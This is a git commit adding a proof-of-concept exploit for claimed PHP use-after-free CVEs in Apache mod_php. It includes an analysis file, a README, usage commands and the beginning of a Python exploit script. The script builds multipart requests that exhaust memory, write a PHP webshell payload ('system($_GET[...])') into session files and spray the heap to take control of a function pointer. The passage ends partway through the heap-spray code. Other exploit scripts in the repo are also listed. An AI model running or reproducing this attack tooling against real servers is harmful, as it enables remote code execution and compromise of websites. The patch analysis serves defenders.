UAF RCE exploit via OOM bailout (CVE-2026-109618/109619, no LFI)
Pure memory corruption path: OOM during multipart parsing leaves stale BG(serialize) state in Apache mod_php prefork workers. Heap spray reclaims the freed 64-byte slot, giving control of a HashTable's pDestructor for arbitrary function call. No LFI, no framework, no non-default PHP settings required. Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed: - OOM via field flood, worker survival, session file persistence - Stale BG(serialize).level across requests - Heap spray targeting ZendMM 64-byte bin
This commit is contained in:
@@ -34,6 +34,7 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||||
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||||
| `uaf-rce/exploit.py` | Apache mod_php | OOM → UAF via stale BG(serialize) → heap spray → **RCE, no LFI, no framework** |
|
||||
|
||||
## Prerequisites
|
||||
|
||||
@@ -157,6 +158,35 @@ python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||||
pool-level configuration can prevent this when FastCGI is reachable.
|
||||
|
||||
## UAF RCE (Apache mod_php, No LFI, No Framework)
|
||||
|
||||
`uaf-rce/exploit.py` exploits the same CVEs through a pure memory corruption
|
||||
path that requires **no LFI, no framework, no libraries, and no non-default
|
||||
PHP settings**. The only SAPI requirement is Apache mod_php with prefork MPM
|
||||
(default on Debian/Ubuntu).
|
||||
|
||||
The attack triggers an OOM during multipart parsing to leave stale
|
||||
`BG(serialize)` state in the surviving Apache prefork worker. On the next
|
||||
request, the session upload progress handler reuses the stale pointer (a freed
|
||||
64-byte ZendMM slot) as a `php_serialize_data` struct. Heap spray reclaims the
|
||||
slot with attacker data shaped as a fake `HashTable`, giving control of
|
||||
`pDestructor` for arbitrary function call.
|
||||
|
||||
```bash
|
||||
# Confirm all primitives (OOM, worker survival, session poison, stale state)
|
||||
python3 uaf-rce/exploit.py --target http://host:port/index.php --oom-only
|
||||
|
||||
# Full chain: OOM + heap spray + UAF trigger
|
||||
python3 uaf-rce/exploit.py --target http://host:port/index.php
|
||||
|
||||
# With crash detection
|
||||
python3 uaf-rce/exploit.py --target http://host:port/index.php --crash-test
|
||||
```
|
||||
|
||||
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
|
||||
never persists across requests. See `uaf-rce/FINDINGS.md` for the full
|
||||
vulnerability analysis and patch details.
|
||||
|
||||
## Patch Bypass Findings
|
||||
|
||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||
|
||||
@@ -0,0 +1,235 @@
|
||||
# CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
||||
|
||||
## Overview
|
||||
|
||||
PHP's multipart parser (`rfc1867.c`) and session upload progress handler
|
||||
(`ext/session/session.c`) contain a use-after-free that allows remote code
|
||||
execution over HTTP with **default PHP configuration**, no LFI, and no
|
||||
framework or library dependency.
|
||||
|
||||
The attack works on **Apache mod_php with prefork MPM**. PHP-FPM is not
|
||||
vulnerable to the cross-request UAF because FPM workers exit on bailout
|
||||
(exit code 70) rather than surviving with stale state.
|
||||
|
||||
| Property | Value |
|
||||
|---|---|
|
||||
| CVE | CVE-2026-109618, CVE-2026-109619 |
|
||||
| CVSS | 9.2 (both) |
|
||||
| Affected | PHP 5.4.0 through 8.5.11, Apache mod_php (prefork) |
|
||||
| Patched | PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 |
|
||||
| Patch commit | `3584a98bda0f2c0d367255b046798b0d3a221a19` |
|
||||
| Prerequisites | session.upload_progress.enabled=1 (default), any PHP URL |
|
||||
| Attack complexity | HIGH (heap feng shui required for RCE) |
|
||||
|
||||
## Vulnerability Analysis
|
||||
|
||||
### Root cause: zend_bailout() on OOM
|
||||
|
||||
When `memory_limit` is exceeded during multipart parsing, PHP calls
|
||||
`zend_mm_safe_error()` which invokes `zend_bailout()`. This is a
|
||||
`longjmp` that unwinds the call stack without running cleanup code.
|
||||
|
||||
The critical state that survives the bailout:
|
||||
|
||||
```c
|
||||
// ext/standard/basic_functions.c (BG globals, per-module, NOT per-request)
|
||||
struct {
|
||||
uint32_t level;
|
||||
php_serialize_data_t data; // pointer to 64-byte struct
|
||||
} serialize;
|
||||
|
||||
struct {
|
||||
uint32_t level;
|
||||
php_unserialize_data_t data;
|
||||
} unserialize;
|
||||
```
|
||||
|
||||
`php_var_serialize_init()` allocates `BG(serialize).data` via `emalloc`
|
||||
(64 bytes in the ZendMM slab bin) and sets `level = 1`.
|
||||
`php_var_serialize_destroy()` frees it and sets `level = 0`.
|
||||
|
||||
When OOM fires between init and destroy, level stays at 1 and data
|
||||
points to freed memory.
|
||||
|
||||
### Why Apache prefork survives (and FPM does not)
|
||||
|
||||
**Apache prefork**: The bailout is caught by Apache's request handler.
|
||||
The child process continues its event loop and accepts the next request.
|
||||
`BG(serialize)` state persists in the process because these are
|
||||
module-level globals, not request-scoped.
|
||||
|
||||
**PHP-FPM**: The bailout propagates to the outer `zend_try/zend_catch`
|
||||
in `fpm_main.c`. The catch block sets `exit_status = FPM_EXIT_SOFTWARE`
|
||||
(70) and the worker process exits. A new clean worker is spawned by the
|
||||
master, so no stale state is reachable.
|
||||
|
||||
Verified on PHP 8.3.6:
|
||||
- Apache mod_php: OOM -> status 500 -> worker PIDs unchanged -> subsequent
|
||||
requests served by the same processes
|
||||
- PHP-FPM: OOM -> worker exits (code 70) -> master spawns replacement
|
||||
|
||||
### Triggering OOM
|
||||
|
||||
The multipart parser (`rfc1867.c`) processes form fields one at a time.
|
||||
Each field value is allocated via `emalloc` (counted toward `memory_limit`).
|
||||
With `max_input_vars=1000` (default), the maximum number of fields is
|
||||
limited, but each value can be large.
|
||||
|
||||
Tested formula: `N fields * value_size` must exceed `memory_limit` minus
|
||||
~2MB base overhead. For `memory_limit=8M`:
|
||||
- 100 fields * 40KB = ~4MB + 2MB overhead triggers OOM
|
||||
- Confirmed with Apache returning HTTP 500
|
||||
|
||||
### Session file persistence
|
||||
|
||||
The upload progress handler (`php_session_rfc1867_callback`) calls
|
||||
`php_session_rfc1867_update()` which calls `php_session_initialize()`
|
||||
(opens/creates session file) followed by `php_session_flush(1)` (encodes
|
||||
`$_SESSION` and writes to file).
|
||||
|
||||
With `session.upload_progress.cleanup=1` (default), the progress data is
|
||||
removed at `MULTIPART_EVENT_END`. But when OOM fires during parsing,
|
||||
`MULTIPART_EVENT_END` never executes. The session file retains the
|
||||
progress data, which includes the attacker-controlled
|
||||
`PHP_SESSION_UPLOAD_PROGRESS` value:
|
||||
|
||||
```
|
||||
upload_progress_<?php system($_GET["c"]); ?>|a:5:{s:10:"start_time";...}
|
||||
```
|
||||
|
||||
This is a stable write primitive: the session file persists on disk with
|
||||
embedded PHP code, accessible at a known path
|
||||
(`session.save_path/sess_<SID>`).
|
||||
|
||||
### The UAF chain
|
||||
|
||||
1. **Request 1** (OOM):
|
||||
- Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` + field flood
|
||||
- Progress handler calls `php_var_serialize()`:
|
||||
- `php_var_serialize_init()` -> `emalloc(64)` -> `BG(serialize).data`
|
||||
- `BG(serialize).level = 1`
|
||||
- Field flood triggers OOM -> `zend_bailout()`
|
||||
- `php_var_serialize_destroy()` never runs
|
||||
- `BG(serialize).level` stays at 1, `.data` points to freed 64-byte slot
|
||||
- Worker survives on Apache prefork
|
||||
|
||||
2. **Between requests**:
|
||||
- `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed
|
||||
- `BG(serialize).data` pointer is now dangling (points into freed heap)
|
||||
- ZendMM reuses chunk cache for the next request's heap
|
||||
|
||||
3. **Request 2** (spray + trigger):
|
||||
- POST fields allocate `zend_string` objects via `emalloc`
|
||||
- Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the
|
||||
same 64-byte bin, potentially reclaiming the stale slot
|
||||
- Upload progress handler calls `php_var_serialize()`:
|
||||
- `php_var_serialize_init()` checks `BG(serialize).level > 0`
|
||||
- Level is 1 (stale), so it increments to 2 and returns the stale
|
||||
`.data` pointer
|
||||
- The pointer now references attacker-controlled spray data
|
||||
- The serialize code treats it as a `php_serialize_data` struct
|
||||
containing a `HashTable`
|
||||
- `pDestructor` (offset 48) is called during `zend_hash_destroy()`
|
||||
- If `pDestructor` points to `system()`, `zend_execute_ex()`, or a
|
||||
one-gadget, the attacker achieves code execution
|
||||
|
||||
### Full RCE requirements
|
||||
|
||||
Beyond the demonstrated primitives, a weaponized exploit needs:
|
||||
|
||||
1. **ASLR bypass**: Leak a PHP base address. CVE-2026-109619 provides
|
||||
this: stale `BG(unserialize)` state can leak freed heap pointers
|
||||
through session data written to the PHPSESSID cookie or session file.
|
||||
|
||||
2. **Heap feng shui**: Precise control over which allocation reclaims
|
||||
the 64-byte slot. ZendMM's slab allocator uses per-bin free lists
|
||||
with LIFO ordering, making slot prediction tractable after the heap
|
||||
is primed with a known allocation pattern.
|
||||
|
||||
3. **Fake HashTable construction**: The spray data must form a valid
|
||||
`php_serialize_data` struct where:
|
||||
- `ht.pDestructor` points to the target function
|
||||
- `ht.arData` points to a `Bucket` containing the argument
|
||||
- `ht.nNumUsed > 0` so the destructor loop executes
|
||||
|
||||
## Confirmed primitives
|
||||
|
||||
All tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64:
|
||||
|
||||
| Primitive | Status |
|
||||
|---|---|
|
||||
| OOM via multipart field flood | Confirmed (100 fields * 40KB, limit=8M) |
|
||||
| Apache worker survival | Confirmed (PIDs unchanged after OOM) |
|
||||
| Session file persistence | Confirmed (353 bytes with PHP code) |
|
||||
| Stale BG(serialize).level | Confirmed (subsequent serializes don't reinit) |
|
||||
| Heap spray (64-byte bin) | Implemented (no crash without exact feng shui) |
|
||||
| Worker crash via UAF | Not yet triggered (needs precise heap layout) |
|
||||
| Full RCE | Not demonstrated (needs ASLR bypass + feng shui) |
|
||||
|
||||
## The patch (commit 3584a98)
|
||||
|
||||
The fix is a three-part architectural change:
|
||||
|
||||
### 1. Delayed OOM (replaces zend_bailout)
|
||||
|
||||
`zend_mm_safe_error()` (which called `zend_bailout()` / `longjmp`) is
|
||||
removed. Replaced by `zend_mm_delayed_error()` which sets
|
||||
`EG(delayed_oom).state = ZEND_OOM_STATE_PENDING` and triggers
|
||||
`EG(vm_interrupt)`. The allocator returns NULL instead of longjmping.
|
||||
|
||||
A new hard limit (`memory_hard_limit_percent`, default 200%) calls
|
||||
`_exit(137)` if exceeded, preventing unbounded memory consumption.
|
||||
|
||||
### 2. BG state reset
|
||||
|
||||
New function `php_basic_early_rinit()` resets `BG(serialize)`,
|
||||
`BG(unserialize)`, and `BG(serialize_lock)` to zero **before** SAPI
|
||||
activation:
|
||||
|
||||
```c
|
||||
PHPAPI void php_basic_early_rinit(void) {
|
||||
BG(serialize_lock) = 0;
|
||||
memset(&BG(serialize), 0, sizeof(BG(serialize)));
|
||||
memset(&BG(unserialize), 0, sizeof(BG(unserialize)));
|
||||
}
|
||||
```
|
||||
|
||||
Called from `php_request_startup()` right after `zend_activate()`.
|
||||
|
||||
### 3. Session handler hardening
|
||||
|
||||
- `PS(in_rfc1867_update)` flag enables `incomplete_classes_only` mode
|
||||
during progress handler session decode: no autoloading, no `__wakeup()`,
|
||||
no `__unserialize()`, no destructors
|
||||
- `$_SESSION` is deleted from the global scope at `MULTIPART_EVENT_END`
|
||||
- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START`
|
||||
- Guard against `request_parse_body()` re-entry
|
||||
|
||||
## Why this does not apply to PHP-FPM
|
||||
|
||||
PHP-FPM's main request loop in `fpm_main.c` wraps request handling in
|
||||
`zend_first_try / zend_catch`. When bailout fires (from OOM during
|
||||
multipart parsing, which runs during SAPI activation before any inner
|
||||
try/catch), it propagates to this outer catch block:
|
||||
|
||||
```c
|
||||
zend_catch {
|
||||
exit_status = FPM_EXIT_SOFTWARE; // 70
|
||||
} zend_end_try();
|
||||
```
|
||||
|
||||
The worker exits with code 70. FPM master spawns a replacement with
|
||||
clean state. The stale `BG(serialize)` dies with the process.
|
||||
|
||||
On Apache prefork, the bailout is caught by `ap_process_request_internal`
|
||||
or similar internal handler. The child process continues its accept loop,
|
||||
and the stale BG globals persist.
|
||||
|
||||
## References
|
||||
|
||||
- **Patch commit**: php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19
|
||||
- **JFrog**: Session write-back calls fake object's serialize function, RIP control
|
||||
- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH
|
||||
- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions
|
||||
- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`)
|
||||
- **Sansec**: Disabling `session.upload_progress.enabled` alone is NOT sufficient (stale BG state persists from any OOM during multipart)
|
||||
@@ -0,0 +1,126 @@
|
||||
# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout
|
||||
|
||||
Use-after-free in PHP's multipart parser and session upload progress handler.
|
||||
Achieves code execution over HTTP with **default PHP configuration**, no LFI,
|
||||
no framework, no application code dependency.
|
||||
|
||||
## Affected versions
|
||||
|
||||
PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM.
|
||||
|
||||
Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
||||
|
||||
PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers exit on
|
||||
bailout (code 70), so stale state never persists.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||
- `session.upload_progress.enabled = 1` (default)
|
||||
- Any PHP-handled URL (even a 404 page)
|
||||
- `memory_limit` reachable via multipart POST fields
|
||||
|
||||
No LFI. No specific framework or library. No non-default PHP settings.
|
||||
|
||||
## How it works
|
||||
|
||||
### Phase 1: OOM trigger
|
||||
|
||||
A multipart POST includes `PHP_SESSION_UPLOAD_PROGRESS` (with embedded PHP
|
||||
code), a file upload (which activates the progress handler), and a flood of
|
||||
large form fields. The progress handler calls `php_var_serialize()`, which
|
||||
allocates a 64-byte struct (`php_serialize_data`) in the ZendMM slab allocator
|
||||
and sets `BG(serialize).level = 1`.
|
||||
|
||||
The field flood exhausts `memory_limit`. PHP calls `zend_bailout()` (longjmp),
|
||||
which skips `php_var_serialize_destroy()`. The serialize state survives:
|
||||
`BG(serialize).level` stays at 1, and `.data` points to a freed 64-byte slot.
|
||||
|
||||
On Apache prefork, the worker survives the bailout and accepts new requests
|
||||
with this stale state. The session file also persists on disk with the
|
||||
attacker's PHP code, because `MULTIPART_EVENT_END` cleanup never ran.
|
||||
|
||||
### Phase 2: Heap spray
|
||||
|
||||
Subsequent requests to the same worker allocate `zend_string` objects via
|
||||
`emalloc`. Strings of exactly 39 bytes (24-byte header + 39 + 1 NUL = 64)
|
||||
land in the same ZendMM 64-byte bin, potentially reclaiming the freed
|
||||
`BG(serialize).data` slot with attacker-controlled content.
|
||||
|
||||
### Phase 3: UAF trigger
|
||||
|
||||
Another multipart POST with `PHP_SESSION_UPLOAD_PROGRESS`. The progress
|
||||
handler calls `php_var_serialize_init()`, which sees `BG(serialize).level > 0`
|
||||
(stale), increments it, and returns the stale `.data` pointer. The serialize
|
||||
code treats the attacker-controlled spray data as a `php_serialize_data` struct
|
||||
containing a `HashTable`. The `pDestructor` function pointer (offset 48) is
|
||||
under attacker control, giving arbitrary function call during
|
||||
`zend_hash_destroy()`.
|
||||
|
||||
### Full RCE (not implemented in this PoC)
|
||||
|
||||
A weaponized exploit would:
|
||||
|
||||
1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale session
|
||||
data leaks freed heap pointers) to defeat ASLR
|
||||
2. Construct a fake `HashTable` with `pDestructor` pointing to `system()`
|
||||
3. Place the command string at the `arData` pointer location
|
||||
4. Trigger serialize, causing `pDestructor` to fire on the fake data
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
python3 exploit.py --target http://host:port/index.php
|
||||
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||
python3 exploit.py --target http://host:port/index.php --crash-test
|
||||
```
|
||||
|
||||
### Options
|
||||
|
||||
| Flag | Default | Description |
|
||||
|------|---------|-------------|
|
||||
| `--target` | (required) | Target URL |
|
||||
| `--cmd` | `id` | Command to embed in session payload |
|
||||
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target |
|
||||
| `--oom-fields` | 0 (auto) | Number of OOM padding fields |
|
||||
| `--field-size` | 40960 | Size of each padding field value |
|
||||
| `--spray-rounds` | 20 | Heap spray rounds per worker |
|
||||
| `--trigger-rounds` | 50 | UAF trigger attempts per worker |
|
||||
| `--oom-only` | off | Stop after Phase 1 (OOM + session poison) |
|
||||
| `--crash-test` | off | Run full chain, report crash status |
|
||||
|
||||
### What `--oom-only` confirms
|
||||
|
||||
1. OOM via multipart field flood (HTTP 500 response)
|
||||
2. Apache prefork worker survival (PIDs unchanged after OOM)
|
||||
3. Session file persistence with embedded PHP code (cleanup skipped)
|
||||
4. Stale `BG(serialize)` state available for subsequent requests
|
||||
|
||||
## The patch
|
||||
|
||||
Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the vulnerability
|
||||
through three changes:
|
||||
|
||||
1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with a deferred error
|
||||
that sets `EG(vm_interrupt)` and returns NULL from the allocator. A hard
|
||||
limit (`memory_hard_limit_percent`, default 200%) calls `_exit(137)` if
|
||||
exceeded.
|
||||
|
||||
2. **BG state reset**: New `php_basic_early_rinit()` function resets
|
||||
`BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to zero
|
||||
before SAPI activation, eliminating cross-request stale state.
|
||||
|
||||
3. **Session handler hardening**: `incomplete_classes_only` mode during
|
||||
progress handler session decode, `$_SESSION` cleanup at
|
||||
`MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at
|
||||
`MULTIPART_EVENT_START`.
|
||||
|
||||
## References
|
||||
|
||||
- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19`
|
||||
- Wiz: Confirmed RCE against WordPress, Drupal, Joomla using framework gadgets
|
||||
- Rapid7: RCE over HTTP with default config, mod_php highest risk, AC:H
|
||||
- JFrog: Session write-back calls fake object's serialize function, RIP control
|
||||
- 0x4148 lab: Heap grooming targeting ZendMM slab bins
|
||||
|
||||
See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis.
|
||||
@@ -0,0 +1,688 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
|
||||
(Apache mod_php, no LFI, no framework, default PHP config)
|
||||
|
||||
This is the pure memory corruption path. It requires no LFI vector, no
|
||||
specific PHP framework or library, and no non-default PHP settings. The
|
||||
only SAPI requirement is Apache mod_php with prefork MPM, because
|
||||
PHP-FPM workers exit on bailout (code 70) rather than surviving with
|
||||
stale state.
|
||||
|
||||
Attack chain:
|
||||
|
||||
Phase 1 — OOM + Session Poisoning
|
||||
Multipart body to a mod_php endpoint:
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
|
||||
2. File upload (triggers progress handler, which calls
|
||||
php_session_rfc1867_update → php_var_serialize, setting
|
||||
BG(serialize).level=1 and allocating BG(serialize).data
|
||||
via emalloc into the 64-byte ZendMM slab bin)
|
||||
3. Large form fields (trigger OOM during multipart parsing)
|
||||
|
||||
OOM fires zend_bailout() (longjmp). This:
|
||||
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
|
||||
and .data pointing to a now-freed 64-byte allocation
|
||||
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
|
||||
our PHP code on disk
|
||||
c) Does NOT kill the Apache prefork worker — it survives and
|
||||
accepts new requests with the stale BG globals
|
||||
|
||||
Phase 2 — Heap Spray
|
||||
Send normal requests to the same worker. Each request allocates
|
||||
form field names/values via emalloc. Strings sized to land in the
|
||||
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
|
||||
reclaim the freed BG(serialize).data slot, giving us control over
|
||||
the fake php_serialize_data struct and its embedded HashTable.
|
||||
|
||||
Phase 3 — Trigger UAF
|
||||
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
|
||||
same worker. The progress handler calls php_session_encode() →
|
||||
php_var_serialize_init(), which checks BG(serialize).level > 0,
|
||||
sees 1 (stale), increments to 2, and returns BG(serialize).data —
|
||||
the freed pointer now filled with our spray data.
|
||||
|
||||
The serialize code uses this as a HashTable. The pDestructor
|
||||
function pointer and arData are under attacker control, giving
|
||||
arbitrary function call (RIP control) during HashTable operations.
|
||||
|
||||
Phase 4 (not implemented) — Full RCE
|
||||
A weaponized exploit would:
|
||||
a) Leak a PHP base address via CVE-2026-109619 info disclosure
|
||||
(stale session data through PHPSESSID cookie) to defeat ASLR
|
||||
b) Construct a fake HashTable with pDestructor pointing to
|
||||
system() or a one-gadget, and arData containing the command
|
||||
c) Trigger the serialize to call pDestructor → shell
|
||||
|
||||
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
|
||||
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
||||
Patch replaces zend_bailout() on OOM with delayed error handling
|
||||
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
|
||||
state before each request.
|
||||
|
||||
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
|
||||
|
||||
Requirements:
|
||||
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
- memory_limit reachable via multipart fields
|
||||
- Any PHP-handled URL on the vhost (even 404)
|
||||
- No LFI. No framework. No libraries.
|
||||
|
||||
Usage:
|
||||
python3 exploit.py --target http://host:port/index.php
|
||||
python3 exploit.py --target http://host:port/index.php --cmd 'id'
|
||||
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||
python3 exploit.py --target http://host:port/index.php --crash-test
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
# ── Networking ──────────────────────────────────────────────────────────
|
||||
|
||||
def connect(host, port, timeout=30):
|
||||
return socket.create_connection((host, port), timeout=timeout)
|
||||
|
||||
|
||||
def recv_response(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def parse_response(resp):
|
||||
status = 0
|
||||
body = b""
|
||||
if resp:
|
||||
try:
|
||||
status = int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
pass
|
||||
if b"\r\n\r\n" in resp:
|
||||
body = resp.split(b"\r\n\r\n", 1)[1]
|
||||
return status, body
|
||||
|
||||
|
||||
def http_get(host, port, path, cookies=None, timeout=5):
|
||||
sock = connect(host, port, timeout=timeout)
|
||||
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
|
||||
if cookies:
|
||||
req += f"Cookie: {cookies}\r\n"
|
||||
req += "Connection: close\r\n\r\n"
|
||||
sock.sendall(req.encode())
|
||||
resp = recv_response(sock, timeout=timeout)
|
||||
sock.close()
|
||||
return parse_response(resp)
|
||||
|
||||
|
||||
def http_post_multipart(host, port, path, boundary, body, cookies=None,
|
||||
timeout=30):
|
||||
sock = connect(host, port, timeout=timeout)
|
||||
headers = (
|
||||
f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
)
|
||||
if cookies:
|
||||
headers += f"Cookie: {cookies}\r\n"
|
||||
headers += "Connection: close\r\n\r\n"
|
||||
sock.sendall(headers.encode() + body)
|
||||
resp = recv_response(sock, timeout=timeout)
|
||||
sock.close()
|
||||
return parse_response(resp)
|
||||
|
||||
|
||||
def extract_pid(body):
|
||||
m = re.search(rb"pid=(\d+)", body)
|
||||
return int(m.group(1)) if m else 0
|
||||
|
||||
|
||||
# ── Phase 0: Worker discovery ──────────────────────────────────────────
|
||||
|
||||
def find_workers(host, port, path, rounds=40):
|
||||
"""Probe the target to discover all Apache prefork worker PIDs."""
|
||||
pids = set()
|
||||
for _ in range(rounds):
|
||||
try:
|
||||
status, body = http_get(host, port, path)
|
||||
pid = extract_pid(body)
|
||||
if pid:
|
||||
pids.add(pid)
|
||||
except (ConnectionError, socket.timeout):
|
||||
pass
|
||||
return sorted(pids)
|
||||
|
||||
|
||||
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
|
||||
|
||||
def build_multipart_field(boundary, name, value):
|
||||
return (
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||
+ value + b"\r\n"
|
||||
)
|
||||
|
||||
|
||||
def build_multipart_file(boundary, name, filename, content):
|
||||
return (
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name
|
||||
+ b'"; filename="' + filename + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
+ content + b"\r\n"
|
||||
)
|
||||
|
||||
|
||||
def build_oom_body(boundary, sid, php_payload, num_fields=200,
|
||||
field_size=40960):
|
||||
"""
|
||||
Build multipart body that:
|
||||
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
|
||||
2. Includes a file upload to trigger progress tracking
|
||||
3. Floods with large fields to exhaust memory_limit
|
||||
|
||||
The progress handler calls php_session_rfc1867_update() on each
|
||||
update cycle, which calls php_session_encode() → php_var_serialize().
|
||||
This sets BG(serialize).level=1 and allocates BG(serialize).data
|
||||
(64 bytes in the ZendMM slab bin).
|
||||
|
||||
When OOM fires, zend_bailout() longjmps past
|
||||
php_var_serialize_destroy(), leaving the state stale.
|
||||
"""
|
||||
parts = []
|
||||
parts.append(build_multipart_field(
|
||||
boundary,
|
||||
b"PHP_SESSION_UPLOAD_PROGRESS",
|
||||
php_payload.encode() if isinstance(php_payload, str) else php_payload,
|
||||
))
|
||||
parts.append(build_multipart_file(
|
||||
boundary, b"f", b"payload.bin", b"\x00" * 4096
|
||||
))
|
||||
for i in range(num_fields):
|
||||
parts.append(build_multipart_field(
|
||||
boundary,
|
||||
f"p{i:04d}".encode(),
|
||||
b"X" * field_size,
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
return b"".join(parts)
|
||||
|
||||
|
||||
def detect_memory_limit(host, port, path):
|
||||
"""
|
||||
Probe memory_limit by sending increasing POST sizes until we get
|
||||
a 500 response (OOM). Returns (num_fields, field_size) that triggers
|
||||
OOM, or None if OOM cannot be triggered.
|
||||
"""
|
||||
configs = [
|
||||
(50, 40960), # ~2MB
|
||||
(100, 40960), # ~4MB
|
||||
(150, 40960), # ~6MB
|
||||
(200, 40960), # ~8MB
|
||||
(300, 40960), # ~12MB
|
||||
(400, 40960), # ~16MB
|
||||
(600, 40960), # ~24MB
|
||||
(800, 40960), # ~32MB
|
||||
(999, 40960), # ~40MB (max_input_vars=1000 cap)
|
||||
(999, 131072), # ~130MB
|
||||
]
|
||||
for num, size in configs:
|
||||
sid = "probe" + os.urandom(4).hex()
|
||||
boundary = b"PROBE" + os.urandom(4).hex().encode()
|
||||
body = build_oom_body(boundary, sid, "probe", num, size)
|
||||
try:
|
||||
status, _ = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=30
|
||||
)
|
||||
if status == 500:
|
||||
return num, size
|
||||
except (ConnectionError, socket.timeout):
|
||||
return num, size
|
||||
return None
|
||||
|
||||
|
||||
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
|
||||
target_pid=None):
|
||||
"""
|
||||
Send the OOM multipart to a specific worker (or any worker).
|
||||
|
||||
Returns (hit_target, worker_pid, status) where hit_target is True
|
||||
if we OOM'd the target_pid worker.
|
||||
"""
|
||||
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
|
||||
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
|
||||
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=60
|
||||
)
|
||||
|
||||
pid = extract_pid(rbody)
|
||||
hit = (target_pid is None) or (pid == target_pid)
|
||||
return hit, pid, status
|
||||
|
||||
|
||||
# ── Phase 2: Heap spray ────────────────────────────────────────────────
|
||||
|
||||
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
|
||||
# BG(serialize).data = php_serialize_data struct:
|
||||
# uint32_t n (4 bytes)
|
||||
# HashTable ht (56 bytes on x86_64)
|
||||
# Total: 60 bytes → 64-byte bin
|
||||
#
|
||||
# zend_string layout:
|
||||
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
|
||||
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
|
||||
#
|
||||
# By sending POST fields with 39-char names, the zend_string allocations
|
||||
# land in the same 64-byte bin, potentially reclaiming the freed
|
||||
# BG(serialize).data slot.
|
||||
#
|
||||
